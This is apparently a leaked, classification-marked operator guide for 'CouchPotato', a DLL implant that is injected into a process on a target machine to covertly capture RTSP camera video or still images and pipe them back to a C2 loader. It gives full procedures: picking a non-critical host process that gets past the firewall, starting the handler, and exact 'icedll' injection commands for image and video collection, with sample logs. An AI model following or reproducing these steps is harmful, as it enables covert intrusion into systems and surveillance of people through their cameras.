(U)CouchPotato V1.0 User Guide

February 2014

Date	Change Description	Authority
2014 FEB 14	Initial writing	[redacted]

(U) Table of Contents

1.0 (U) Overview

(S//NF) CouchPotato is a remote tool for collection against RTSP/H.264 video streams. It provides the ability to collect either the stream as a video file (AVI) or capture still images (JPG) of frames from the stream that are of significant change from a previously captured frame. CouchPotato utilizes ffmpeg for video and image encoding and decoding as well as RTSP connectivity. In order to minimize size of the DLL binary, many of the audio and video codecs along with other unnecessary features have been removed from the version of ffmpeg that CouchPotato is built with. pHash, an image hashing algorithm, has been incorporated into ffmpeg's image2 demuxer to provide image change detection capabilities. CouchPotato relies on being launched in an ICE v3 Fire and Collect compatible loader.

2.0 (U) Prerequisites

2.1 (S//NF) A loader that can support the ICE v3 specification; specifically Fire and Collect. (CouchPotato was tested during development using ShellTerm 2.9.2 as it was the only operationally ready ICE v3 loader.)

2.2 (S//NF) The module handler script requires python 2 (tested with python 2.7.3).

2.3 (S//NF) The module handler script should be run on a *nix host (tested with Ubuntu 12.04.2 LTS).

2.4 (S//NF) The module handler script must be run on the same host as the loader.

2.5 (S//NF) Identified a host process on the target, which is not critical to system stability, to inject CouchPotato into that will not be blocked by a firewall to send/recv data to the host machine serving the content.

3.0 (U) Usage

3.1 (S//NF) General usage

3.1.1 (S//NF) Before launching an instance of a CouchPotato ICE DLL through a compatible loader, the handler will need to be started. To start the handler, open a new shell and execute the `cp_handler.py` script. This script should be started on the same host as the C2 loader. It requires at least –o argument for the path to a directory to write its output to. All collection files for the given run of CouchPotato are written to this directory.

Example: `$ cp_handler.py –o out_data`

3.1.2 (S//NF) It is highly recommended to not launch out of a process that is critical to system stability such as services.exe. There are cases, beyond CouchPotato's control, that can cause the ICE DLL thread to exit ungracefully. It can leak memory and also leave file handles open. (The background is ffmpeg's code assumes it runs in its own process and therefore has no concerns about exiting without cleaning up memory or file handles as it assumes the process exits and everything is free'd accordingly).

3.1.3 (S//NF) Most invocations of Couch Potato require at least the following arguments to the ICE DLL invocation:

- -i [RTSP url]
    - Video source input; this should be a full rtsp url. Example: rtsp://10.3.2.1:8854/IPCameraStream
- -vcodec copy
    - Directs the decoder to “copy” the video data from the stream. **For use when collecting video files only.**
- -acodec copy
    - Directs the decoder to “copy” the audio data from the
      stream. **For use when collecting video files only.**
- -an
    - Directs the decoder to ignore audio data from the stream. **For use when collecting video files only.**
- -f [output file format] [output path]
    - The only currently supported options are **avi** and **image2**. The output path should always be “**-**“ (as in a STDOUT pipe).

Example argument strings:

```
-i rtsp://10.3.2.52:8554/Cam –f image2 –
```

```
-i rtsp://10.3.2.52:8554/Cam –t 300 –vcodec copy –an –f avi –
```

```
-i rtsp://10.3.2.52:8554/Cam –t 300 –vcodec copy –acodec copy
–f avi -
```

3.1.4 Optional arguments:

- -v,-loglevel [level of logging]
  - Logging level. Valid values are: **debug, info, warning, fatal, panic** and **quiet**. Default is **quiet** (i.e. No logging output). The output is written under the handler's output directory in a file named **ffmpeg.log**. This logging is valuable for debugging issues with connecting to the stream and/or other encoding/decoding problems. **WARNING:** Depending on the log level and activity being performed, logging can be very noisy over the network. While the log messages are not large, they can be chatty (lots of small messages). Use wisely.
- -ss [seconds| hh:mm:ss]
  - Offset into the video stream start collecting/transcoding from. This should proceed the –i flag. If this placed after the –i argument, the transcoding will start at 00:00:00 and will throw out all the data until it reaches the desired offset. For use only with VOD, and **not for use with Live streams.**
- -t [seconds]
  - Duration in real-time seconds that CouchPotato (in reality ffmpeg) will spend doing the transcoding (grabbing images or re-encoding the stream into an avi file). Once the time has expired, CouchPotato will exit. This is a highly recommended option when collecting video.
- --pHash-threshold [0.0-1.0]
  - Floating point number that represents a percentage of similarity that if below this value constitutes a "significant change" between two frames in the stream. For use with the image2 encoder only. Default is 0.85. Under most circumstances, the default of **0.85** should suffice. WARNING: Too high of a threshold value can trigger many image frames to be captured and sent over the network. Use wisely.

3.2 (S//NF) Capturing image frames of significant change

3.2.1 Start the CouchPotato handler.

3.2.2 Use the `–f image2 -` as output format argument; the file location should always just be a “-“(as in pipe to stdout).

3.2.3 The collected images are written to the root of the directory that was passed to the CouchPotato handler script. The images are written with a file name of the form: YYYYMMDD_HHMMSS.milliseconds.jpg – This timestamp is in GMT and uses the time facilities of the local machine the script runs on.

Example using ShellTerm (no line breaks):

```
icedll –p <pid> -a “-i rtsp://video.stream.net:8554/ip_camera_path –f
image2 –“ --pipe /tmp/handler_pipe couchpotato_x86_64.dll
```

Example output from the handler:

```
Tue, 11 Feb 2014 18:28:48 -0000: [*] Starting Handler
Tue, 11 Feb 2014 18:28:48 -0000: [*] Listening at /tmp/cph_socket for connections
Tue, 11 Feb 2014 18:28:48 -0000: [*] Waiting on connection from ICE host
Tue, 11 Feb 2014 18:29:00 -0000: [*] Connection with ICE host established
Tue, 11 Feb 2014 18:29:20 -0000: Image data recv'd.
Tue, 11 Feb 2014 18:29:20 -0000: Wrote ./20140211_132920.735441.jpg
Tue, 11 Feb 2014 18:30:26 -0000: Image data recv'd.
Tue, 11 Feb 2014 18:30:26 -0000: Wrote ./20140211_133026.620722.jpg
```

3.3 (S//NF) Capturing video (without audio)

3.3.1 Start the CouchPotato handler.

3.3.2 Use the `–vcodec copy –an -f avi –` the arguments; the output file location should always be just a “**-**“ (as in pipe to stdout).

3.3.3 The video file is written to the root of the directory that was passed to the CouchPotato handler script. The video file is written with a file name of the form: YYYYMMDD_HHMMSS.avi – This timestamp is in GMT and uses the time facilities of the local machine the script runs on.

Example using ShellTerm (no line breaks):

```
icedll –p <pid> -a “-i rtsp://video.stream.net:8554/ip_camera_path
-t 300 -vcodec copy –an -f avi –“ --pipe /tmp/handler_pipe
couchpotato_x86_64.dll
```

Example output from the handler:

```
Tue, 11 Feb 2014 18:30:58 -0000: Video data recv'd
Tue, 11 Feb 2014 18:30:58 -0000: Appended data to ./20140211_132953.avi
Tue, 11 Feb 2014 18:30:58 -0000: Video data recv'd
Tue, 11 Feb 2014 18:30:58 -0000: Appended data to ./20140211_132953.avi
```

3.4 (S//NF) Capturing video (with audio)

3.4.1 NOTE: This will result in more network traffic back to the C2 Loader than what is sent for capturing video without audio.

3.4.2 Start the CouchPotato handler.

3.4.3 Use the `–vcodec copy –acodec copy -f avi –` the arguments; the output file location should always be just a "-" (as in pipe to stdout).

3.4.4 The video file is written to the root of the directory that was passed to the CouchPotato handler script. The video file is written with a file name of the form: YYYYMMDD_HHMMSS.avi – This timestamp is in GMT and uses the time facilities of the local machine the script runs on.

Example using ShellTerm (no line breaks):

```
icedll –p <pid> -a "-i rtsp://video.stream.net:8554/ip_camera_path
-t 300 -vcodec copy –acodec copy -f avi –" --pipe /tmp/handler_pipe
couchpotato_x86_64.dll
```

Example output from the handler:

```
Tue, 11 Feb 2014 18:30:58 -0000: Video data recv'd
Tue, 11 Feb 2014 18:30:58 -0000: Appended data to ./20140211_132953.avi
Tue, 11 Feb 2014 18:30:58 -0000: Video data recv'd
Tue, 11 Feb 2014 18:30:58 -0000: Appended data to ./20140211_132953.avi
```

3.5 (S//NF) Know Issues and Caveats

3.5.1 CPU usage of the process that CouchPotato is injected into can potentially be high depending on the number CPUs/Cores available. In development and testing, it was observed that on a Windows 7 64-bit VM allocated just one CPU core, the process that CouchPotato was injected into was using between 50-70% of available CPU while capturing images of significant change. Memory usage was between 45-50MB.

3.5.2 ffmpeg does support many more arguments than are being described in this document. However, only the arguments mentioned in this document have been tested and are known to have no adverse side-effects. It is beyond the scope of this development effort to document and test all of ffmpeg's arguments.

3.5.3 Avoid terminating the `cp_handler` script prematurely. It was observed in development and testing that early termination of the pipe can cause instability in the C2 Loader (such as ShellTerm). Use the proper command in the C2 Loader to signal (ex ShellTerm – `icedll –k <handle_id>`) the ICE DLL execution to stop. Once the C2 Loader completes it should terminate its connection to pipe which will cause the handler to exit.

3.5.4 During development and testing it was observed with ShellTerm 2.9.1 that when issuing `icedll –k <handle_id>` to stop a running instance of CouchPotato, ShellTerm does not properly signal the module that it is time to quit. The CouchPotato thread will continue running in the process until the next attempt to collect data has occurred. Workarounds in conjunction with issuing an `icedll –k` are to also kill the process that CouchPotato was injected into or wait for an attempt by CouchPotato to write the data back to the C2 Loader (at which point it will fail, and CouchPotato's threads will gracefully exit). This problem is addressed in ShellTerm 2.9.2.